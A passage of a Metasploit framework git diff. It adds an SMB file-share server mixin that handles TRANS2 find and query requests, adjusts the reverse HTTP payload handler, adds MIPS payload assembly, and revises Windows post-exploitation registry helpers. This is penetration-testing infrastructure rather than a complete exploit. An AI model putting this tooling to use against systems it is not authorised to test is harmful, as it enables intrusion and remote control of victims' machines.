STATUS_SUCCESS with the hope of going ahead + vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_FILE_INFORMATION with loi: #{loi.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information.rb b/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information.rb new file mode 100644 index 000000000000..a6847e02aad4 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information.rb @@ -0,0 +1,43 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + module QueryPathInformation + + # Handles an TRANS2_QUERY_PATH_INFORMATION subcommand, used to get information about + # an specific file or directory, using its path. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2_query_path_information(c, buff) + smb = @state[c] + + params = CONST::SMB_TRANS2_QUERY_PATH_PARAMETERS.make_struct + params.from_s(buff) + + loi = params.v['InformationLevel'] + file_name = normalize_path(params.v['FileName']) + + case loi + when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS + return smb_cmd_trans_query_path_info_standard(c, file_name) + when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS + return smb_cmd_trans_query_path_info_basic(c, file_name) + when CONST::SMB_QUERY_FILE_NETWORK_OPEN_INFO + return smb_cmd_trans_query_path_info_network(c, file_name) + else + # Send STATUS_SUCCESS with the hope of going ahead + vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_PATH_INFORMATION with loi: #{loi.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/information_level.rb b/lib/msf/core/exploit/smb/server/share/information_level.rb new file mode 100644 index 000000000000..35efd0e2c1a5 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/information_level.rb @@ -0,0 +1,12 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module InformationLevel + require 'msf/core/exploit/smb/server/share/information_level/find' + require 'msf/core/exploit/smb/server/share/information_level/query' + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/information_level/find.rb b/lib/msf/core/exploit/smb/server/share/information_level/find.rb new file mode 100644 index 000000000000..802c8866ba85 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/information_level/find.rb @@ -0,0 +1,229 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module InformationLevel + module Find + + # Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_BOTH_DIRECTORY_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_find_file_both_directory_info(c, path) + + if path && path.include?(file_name.downcase) + data = Rex::Text.to_unicode(file_name) + length = file_contents.length + ea = 0 + alloc = 1048576 # Allocation Size = 1048576 || 1Mb + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + search = 1 + elsif path && path == path_name.downcase + data = Rex::Text.to_unicode(path_name) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 0x100 + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true) + end + + send_find_file_both_directory_info_res(c, { + data: data, + end_of_file: length, + ea_error_offset: ea, + allocation_size: alloc, + file_attributes: attrib, + search_count: search, + search_offset: search + }) + end + + # Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_NAMES_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_find_file_names_info(c, path) + if path && path.include?(file_name.downcase) + data = Rex::Text.to_unicode(file_name) + elsif path && path == path_name.downcase + data = Rex::Text.to_unicode(path_name) + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true) + end + + send_find_file_names_info_res(c, { data: data }) + end + + # Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_FULL_DIRECTORY_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_find_file_full_directory_info(c, path) + if path && path.include?(file_name.downcase) + data = Rex::Text.to_unicode(file_name) + length = file_contents.length + ea = 0 + alloc = 1048576 # Allocation Size = 1048576 || 1Mb + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File + search = 0x100 + elsif path && path == path_name.downcase + data = Rex::Text.to_unicode(path_name) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 1 + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true) + end + + send_find_full_directory_info_res(c, { + data: data, + end_of_file: length, + ea_error_offset: ea, + allocation_size: alloc, + file_attributes: attrib, + search_count: search, + search_offset: search + }) + end + + # Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_BOTH_DIRECTORY_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :search_count The number of entries returned by the search. + # @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise. + # @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_BOTH_DIRECTORY_INFO. + # @option opts [Fixnum] :end_of_file The byte offset to the end of the file. + # @option opts [Fixnum] :allocation_size The file allocation size in bytes. + # @option opts [Fixnum] :file_attributes The extended file attributes of the file. + # @option opts [String] :data The long name of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_find_file_both_directory_info_res(c, opts = {}) + data = opts[:data] || '' + search_count = opts[:search_count] || 0 + end_of_search = opts[:end_of_search] || 0 + ea_error_offset = opts[:ea_error_offset] || 0 + end_of_file = opts[:end_of_file] || 0 + allocation_size = opts[:allocation_size] || 0 + file_attributes = opts[:file_attributes] || 0 + + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct + trans2_params.v['SID'] = 0xfffd + trans2_params.v['SearchCount'] = search_count + trans2_params.v['EndOfSearch'] = end_of_search + trans2_params.v['EaErrorOffset'] = ea_error_offset + trans2_params.v['LastNameOffset'] = 0 + + find_file = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct + find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH + data.length + find_file.v['FileIndex'] = 0 + find_file.v['loCreationTime'] = lo + find_file.v['hiCreationTime'] = hi + find_file.v['loLastAccessTime'] = lo + find_file.v['hiLastAccessTime'] = hi + find_file.v['loLastWriteTime'] = lo + find_file.v['hiLastWriteTime'] = hi + find_file.v['loLastChangeTime'] = lo + find_file.v['hiLastChangeTime'] = hi + find_file.v['EndOfFile'] = end_of_file + find_file.v['AllocationSize'] = allocation_size + find_file.v['ExtFileAttributes'] = file_attributes + find_file.v['FileName'] = data + + send_trans2_res(c, trans2_params, find_file) + end + + # Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_NAMES_INFO + # information level. + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [String] :data The long name of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_find_file_names_info_res(c, opts = {}) + data = opts[:data] || '' + + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + find_file = CONST::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct + find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH + data.length + find_file.v['FileIndex'] = 0 + find_file.v['FileName'] = data + + trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct + trans2_params.v['SID'] = 0xfffd + trans2_params.v['SearchCount'] = 1 + trans2_params.v['EndOfSearch'] = 1 + trans2_params.v['EaErrorOffset'] = 0 + trans2_params.v['LastNameOffset'] = 0 + + send_trans2_res(c, trans2_params, find_file) + end + + # Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_FULL_DIRECTORY_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :search_count The number of entries returned by the search. + # @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise. + # @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_FULL_DIRECTORY_INFO. + # @option opts [Fixnum] :end_of_file The byte offset to the end of the file. + # @option opts [Fixnum] :allocation_size The file allocation size in bytes. + # @option opts [Fixnum] :file_attributes The extended file attributes of the file. + # @option opts [String] :data The long name of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_find_full_directory_info_res(c, opts = {}) + data = opts[:data] || '' + search_count = opts[:search_count] || 0 + end_of_search = opts[:end_of_search] || 0 + ea_error_offset = opts[:ea_error_offset] || 0 + end_of_file = opts[:end_of_file] || 0 + allocation_size = opts[:allocation_size] || 0 + file_attributes = opts[:file_attributes] || 0 + + find_file = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct + find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH + data.length + find_file.v['FileIndex'] = 0 + find_file.v['loCreationTime'] = lo + find_file.v['hiCreationTime'] = hi + find_file.v['loLastAccessTime'] = lo + find_file.v['hiLastAccessTime'] = hi + find_file.v['loLastWriteTime'] = lo + find_file.v['hiLastWriteTime'] = hi + find_file.v['loLastChangeTime'] = lo + find_file.v['hiLastChangeTime'] = hi + find_file.v['EndOfFile'] = end_of_file + find_file.v['AllocationSize'] = allocation_size + find_file.v['ExtFileAttributes'] = file_attributes + find_file.v['FileName'] = data + + trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct + trans2_params.v['SID'] = 0xfffd + trans2_params.v['SearchCount'] = search_count + trans2_params.v['EndOfSearch'] = end_of_search + trans2_params.v['EaErrorOffset'] = ea_error_offset + trans2_params.v['LastNameOffset'] = 0 + + send_trans2_res(c, trans2_params, find_file) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/information_level/query.rb b/lib/msf/core/exploit/smb/server/share/information_level/query.rb new file mode 100644 index 000000000000..fe0c9b972ec5 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/information_level/query.rb @@ -0,0 +1,216 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module InformationLevel + module Query + + # Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param fid [Fixnum] The file identifier which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_file_info_basic(c, fid) + smb = @state[c] + + if fid == smb[:file_id].to_i + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + elsif fid.nil? || fid == 0 || fid == smb[:dir_id].to_i # empty fid + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_basic_res(c, { file_attributes: attrib }) + end + + # Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param fid [Fixnum] The file identifier which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_file_info_standard(c, fid) + send_info_standard_res(c, { + allocation_size: 1048576, + number_links: 1, + delete_pending: 0, + directory: 0, + end_of_file: file_contents.length + }) + end + + # Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + # @todo Delete elsif comment if testing proofs it as unnecessary + def smb_cmd_trans_query_path_info_basic(c, path) + if path && path.ends_with?(file_name.downcase) + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + #elsif path && path.ends_with?(file_name + '.Local') + #attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + elsif path && path == path_name.downcase + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + elsif path.nil? || path.empty? || path == "\x00" # empty path + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_basic_res(c, { file_attributes: attrib }) + end + + # Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_path_info_standard(c, path) + if path && path.include?(file_name.downcase) + attrib = 0 # File attributes => file + elsif path && path == path_name.downcase + attrib = 1 # File attributes => directory + elsif path.nil? || path.empty? || path == "\x00" # empty path + attrib = 1 # File attributes => directory + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_standard_res(c, { + allocation_size: 1048576, + number_links: 1, + delete_pending: 0, + directory: attrib, + end_of_file: file_contents.length + }) + end + + # Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_NETWORK_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_path_info_network(c, path) + + if path && path.include?(file_name.downcase) + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + elsif path && path == path_name.downcase + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + elsif path.nil? || path.empty? || path == "\x00" # empty path + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_network_res(c, { + allocation_size: 1048576, + end_of_file: file_contents.length, + file_attributes: attrib + }) + end + + # Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_BASIC_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :file_attributes The extended file attributes of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_info_basic_res(c, opts = {}) + file_attributes = opts[:file_attributes] || 0 + + trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct + trans2_params.v['EaErrorOffset'] = 0 + + query_path_info = CONST::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + query_path_info.v['loCreationTime'] = lo + query_path_info.v['hiCreationTime'] = hi + query_path_info.v['loLastAccessTime'] = lo + query_path_info.v['hiLastAccessTime'] = hi + query_path_info.v['loLastWriteTime'] = lo + query_path_info.v['hiLastWriteTime'] = hi + query_path_info.v['loLastChangeTime'] = lo + query_path_info.v['hiLastChangeTime'] = hi + query_path_info.v['ExtFileAttributes'] = file_attributes + + send_trans2_res(c, trans2_params, query_path_info) + end + + # Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_STANDARD_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file. + # @option opts [Fixnum] :number_links The number of hard links to the file. + # @option opts [Fixnum] :delete_pending Indicates whether there is a delete action pending for the file. + # @option opts [Fixnum] :directory Indicates whether the file is a directory. + # @option opts [Fixnum] :end_of_file The offset from the start to the end of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_info_standard_res(c, opts = {}) + allocation_size = opts[:allocation_size] || 0 + number_links = opts[:number_links] || 0 + delete_pending = opts[:delete_pending] || 0 + directory = opts[:directory] || 0 + end_of_file = opts[:end_of_file] || 0 + + trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct + trans2_params.v['EaErrorOffset'] = 0 + + query_path_info = CONST::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + query_path_info.v['AllocationSize'] = allocation_size + query_path_info.v['EndOfFile'] = end_of_file + query_path_info.v['NumberOfLinks'] = number_links + query_path_info.v['DeletePending'] = delete_pending + query_path_info.v['Directory'] = directory + + send_trans2_res(c, trans2_params, query_path_info) + end + + # Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_NETWORK_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file. + # @option opts [Fixnum] :end_of_file The offset from the start to the end of the file. + # @option opts [Fixnum] :file_attributes The file attributes. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_info_network_res(c, opts= {}) + allocation_size = opts[:allocation_size] || 0 + end_of_file = opts[:end_of_file] || 0 + file_attributes = opts[:file_attributes] || 0 + + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct + trans2_params.v['EaErrorOffset'] = 0 + + query_path_info = CONST::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct + query_path_info.v['loCreationTime'] = lo + query_path_info.v['hiCreationTime'] = hi + query_path_info.v['loLastAccessTime'] = lo + query_path_info.v['hiLastAccessTime'] = hi + query_path_info.v['loLastWriteTime'] = lo + query_path_info.v['hiLastWriteTime'] = hi + query_path_info.v['loLastChangeTime'] = lo + query_path_info.v['hiLastChangeTime'] = hi + query_path_info.v['AllocationSize'] = allocation_size + query_path_info.v['EndOfFile'] = end_of_file + query_path_info.v['ExtFileAttributes'] = file_attributes + + send_trans2_res(c, trans2_params, query_path_info) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb_server.rb b/lib/msf/core/exploit/smb_server.rb deleted file mode 100644 index 603e7d9e9c49..000000000000 --- a/lib/msf/core/exploit/smb_server.rb +++ /dev/null @@ -1,154 +0,0 @@ -# -*- coding: binary -*- - -module Msf - -### -# -# This mixin provides a minimal SMB server -# -### - -module Exploit::Remote::SMBServer - include Exploit::Remote::TcpServer - include Exploit::NTLM - CONST = ::Rex::Proto::SMB::Constants - CRYPT = ::Rex::Proto::SMB::Crypt - UTILS = ::Rex::Proto::SMB::Utils - XCEPT = ::Rex::Proto::SMB::Exceptions - EVADE = ::Rex::Proto::SMB::Evasions - - def initialize(info = {}) - super - - deregister_options('SSL', 'SSLCert') - register_options( - [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ]) - ], self.class) - end - - def setup - super - @state = {} - end - - def on_client_connect(client) - # print_status("New SMB connection from #{client.peerhost}:#{client.peerport}") - smb_conn(client) - end - - def on_client_data(client) - # print_status("New data from #{client.peerhost}:#{client.peerport}") - smb_recv(client) - true - end - - def on_client_close(client) - smb_stop(client) - end - - def smb_conn(c) - @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport} - end - - def smb_stop(c) - @state.delete(c) - end - - def smb_recv(c) - smb = @state[c] - smb[:data] ||= '' - smb[:data] << c.get_once - - while(smb[:data].length > 0) - - return if smb[:data].length < 4 - - plen = smb[:data][2,2].unpack('n')[0] - - return if smb[:data].length < plen+4 - - buff = smb[:data].slice!(0, plen+4) - - pkt_nbs = CONST::NBRAW_PKT.make_struct - pkt_nbs.from_s(buff) - - # print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}") - - # Check for a NetBIOS name request - if (pkt_nbs.v['Type'] == 0x81) - # Accept any name they happen to send - - host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') - host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') - - smb[:nbdst] = host_dst - smb[:nbsrc] = host_src - - # print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})") - c.write("\x82\x00\x00\x00") - next - end - - - # - # TODO: Support AndX parameters - # - - - # Cast this to a generic SMB structure - pkt = CONST::SMB_BASE_PKT.make_struct - pkt.from_s(buff) - - # Only response to requests, ignore server replies - if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) - print_status("Ignoring server response from #{smb[:name]}") - next - end - - cmd = pkt['Payload']['SMB'].v['Command'] - begin - smb_cmd_dispatch(cmd, c, buff) - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}") - next - end - end - end - - def smb_cmd_dispatch(cmd, c, buff) - smb = @state[c] - print_status("Received command #{cmd} from #{smb[:name]}") - end - - def smb_set_defaults(c, pkt) - smb = @state[c] - pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i - pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i - pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i - pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i - end - - def smb_error(cmd, c, errorclass, esn = false) - # 0xc0000022 = Deny - # 0xc000006D = Logon_Failure - # 0x00000000 = Ignore - pkt = CONST::SMB_BASE_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = cmd - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - if esn - pkt['Payload']['SMB'].v['Flags2'] = 0xc801 - else - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - end - pkt['Payload']['SMB'].v['ErrorClass'] = errorclass - c.put(pkt.to_s) - end - -end - -end - diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index b8a159c6e307..b44ad8017b93 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -157,26 +157,15 @@ def setup_handler print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") end - # - # Simply calls stop handler to ensure that things are cool. - # - def cleanup_handler - stop_handler - end - - # - # Basically does nothing. The service is already started and listening - # during set up. - # - def start_handler - end - # # Removes the / handler, possibly stopping the service if no sessions are # active on sub-urls. # def stop_handler - self.service.remove_resource("/") if self.service + if self.service + self.service.remove_resource("/") + Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0 + end end attr_accessor :service # :nodoc: @@ -228,6 +217,7 @@ def on_request(cli, req, obj) :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :ssl => ssl?, }) + self.pending_connections += 1 when /^\/INITJM/ conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 8cfbfc841ff4..05109a09d6e8 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -552,6 +552,8 @@ def build(asm, off={}) when ARCH_X64 then Metasm::X86_64.new when ARCH_PPC then Metasm::PowerPC.new when ARCH_ARMLE then Metasm::ARM.new + when ARCH_MIPSLE then Metasm::MIPS.new(:little) + when ARCH_MIPSBE then Metasm::MIPS.new(:big) else elog("Broken payload #{refname} has arch unsupported with assembly: #{module_info["Arch"].inspect}") elog("Call stack:\n#{caller.join("\n")}") diff --git a/lib/msf/core/post/windows/ldap.rb b/lib/msf/core/post/windows/ldap.rb index 44d13823fd93..fc09f3a06f9f 100644 --- a/lib/msf/core/post/windows/ldap.rb +++ b/lib/msf/core/post/windows/ldap.rb @@ -68,7 +68,7 @@ module LDAP 0x02 => 'LDAP_PROTOCOL_ERROR', 0x0a => 'LDAP_REFERRAL', 0x61 => 'LDAP_REFERRAL_LIMIT_EXCEEDED', - 0x09 => 'LDAP_REFERRAL_V2', + # 0x09 => 'LDAP_REFERRAL_V2', alias for LDAP_PARTIAL_RESULTS 0x46 => 'LDAP_RESULTS_TOO_LARGE', 0x51 => 'LDAP_SERVER_DOWN', 0x04 => 'LDAP_SIZELIMIT_EXCEEDED', diff --git a/lib/msf/core/post/windows/registry.rb b/lib/msf/core/post/windows/registry.rb index 78f28aed555c..d502eb26f4b4 100644 --- a/lib/msf/core/post/windows/registry.rb +++ b/lib/msf/core/post/windows/registry.rb @@ -439,12 +439,10 @@ def meterpreter_registry_enumkeys(key, view) subkeys = [] root_key, base_key = session.sys.registry.splitkey(key) perms = meterpreter_registry_perms(KEY_READ, view) - open_key = session.sys.registry.open_key(root_key, base_key, perms) - keys = open_key.enum_key + keys = session.sys.registry.enum_key_direct(root_key, base_key, perms) keys.each { |subkey| subkeys << subkey } - open_key.close return subkeys rescue Rex::Post::Meterpreter::RequestError => e return nil @@ -460,12 +458,10 @@ def meterpreter_registry_enumvals(key, view) vals = {} root_key, base_key = session.sys.registry.splitkey(key) perms = meterpreter_registry_perms(KEY_READ, view) - open_key = session.sys.registry.open_key(root_key, base_key, perms) - vals = open_key.enum_value + vals = session.sys.registry.enum_value_direct(root_key, base_key, perms) vals.each { |val| values << val.name } - open_key.close return values rescue Rex::Post::Meterpreter::RequestError => e return nil @@ -480,10 +476,8 @@ def meterpreter_registry_getvaldata(key, valname, view) value = nil root_key, base_key = session.sys.registry.splitkey(key) perms = meterpreter_registry_perms(KEY_READ, view) - open_key = session.sys.registry.open_key(root_key, base_key, perms) - v = open_key.query_value(valname) + v = session.sys.registry.query_value_direct(root_key, base_key, valname, perms) value = v.data - open_key.close rescue Rex::Post::Meterpreter::RequestError => e return nil end @@ -516,9 +510,8 @@ def meterpreter_registry_setvaldata(key, valname, data, type, view) begin root_key, base_key = session.sys.registry.splitkey(key) perms = meterpreter_registry_perms(KEY_WRITE, view) - open_key = session.sys.registry.open_key(root_key, base_key, perms) - open_key.set_value(valname, session.sys.registry.type2str(type), data) - open_key.close + session.sys.registry.set_value_direct(root_key, base_key, + valname, session.sys.registry.type2str(type), data, perms) return true rescue Rex::Post::Meterpreter::RequestError => e return nil diff --git a/lib/msf/core/post/windows/user_profiles.rb b/lib/msf/core/post/windows/user_profiles.rb index 2e21c7b5fc6e..9c686a74fbee 100644 --- a/lib/msf/core/post/windows/user_profiles.rb +++ b/lib/msf/core/post/windows/user_profiles.rb @@ -49,9 +49,6 @@ def parse_profiles(hives) # def parse_profile(hive) profile={} - sidinf = resolve_sid(hive['SID'].to_s) - profile['UserName'] = sidinf[:name] - profile['Domain'] = sidinf[:domain] profile['SID'] = hive['SID'] profile['ProfileDir'] = hive['PROF'] profile['AppData'] = registry_getvaldata("#{hive['HKU']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'AppData') @@ -65,6 +62,12 @@ def parse_profile(hive) profile['Temp'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'TEMP').to_s.sub('%USERPROFILE%',profile['ProfileDir']) profile['Path'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'PATH') + sidinf = resolve_sid(hive['SID'].to_s) + if sidinf + profile['UserName'] = sidinf[:name] + profile['Domain'] = sidinf[:domain] + end + return profile end diff --git a/lib/msf/core/rpc/v10/rpc_db.rb b/lib/msf/core/rpc/v10/rpc_db.rb index 438e3141db4d..32cef00cea50 100644 --- a/lib/msf/core/rpc/v10/rpc_db.rb +++ b/lib/msf/core/rpc/v10/rpc_db.rb @@ -55,7 +55,7 @@ def opts_to_hosts(opts) return hosts if opts[:addresses].class != Array conditions = {} conditions[:address] = opts[:addresses] - hent = wspace.hosts.all(:conditions => conditions) + hent = wspace.hosts.where(conditions) hosts |= hent if hent.class == Array end return hosts @@ -73,7 +73,7 @@ def opts_to_services(hosts,opts) conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = h.services.all(:conditions => conditions) + sret = h.services.where(conditions) next if sret == nil services |= sret if sret.class == Array services << sret if sret.class == ::Mdm::Service @@ -85,7 +85,7 @@ def opts_to_services(hosts,opts) conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = wspace.services.all(:conditions => conditions) + sret = wspace.services.where(conditions) services |= sret if sret.class == Array services << sret if sret.class == ::Mdm::Service end @@ -189,8 +189,7 @@ def rpc_hosts(xopts) ret = {} ret[:hosts] = [] - wspace.hosts.all(:conditions => conditions, :order => :address, - :limit => limit, :offset => offset).each do |h| + 